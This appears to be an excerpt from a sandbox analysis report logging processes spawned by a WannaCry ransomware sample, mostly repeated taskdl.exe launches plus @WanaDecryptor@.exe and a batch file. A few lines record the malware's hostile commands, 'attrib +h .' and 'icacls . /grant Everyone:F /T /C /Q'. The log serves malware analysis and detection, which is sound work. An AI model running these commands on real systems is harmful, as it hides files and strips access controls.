            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: unknownProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe "C:\Users\user\Desktop\@WanaDecryptor@.exe"
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .Jump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /QJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 133611722583794.batJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
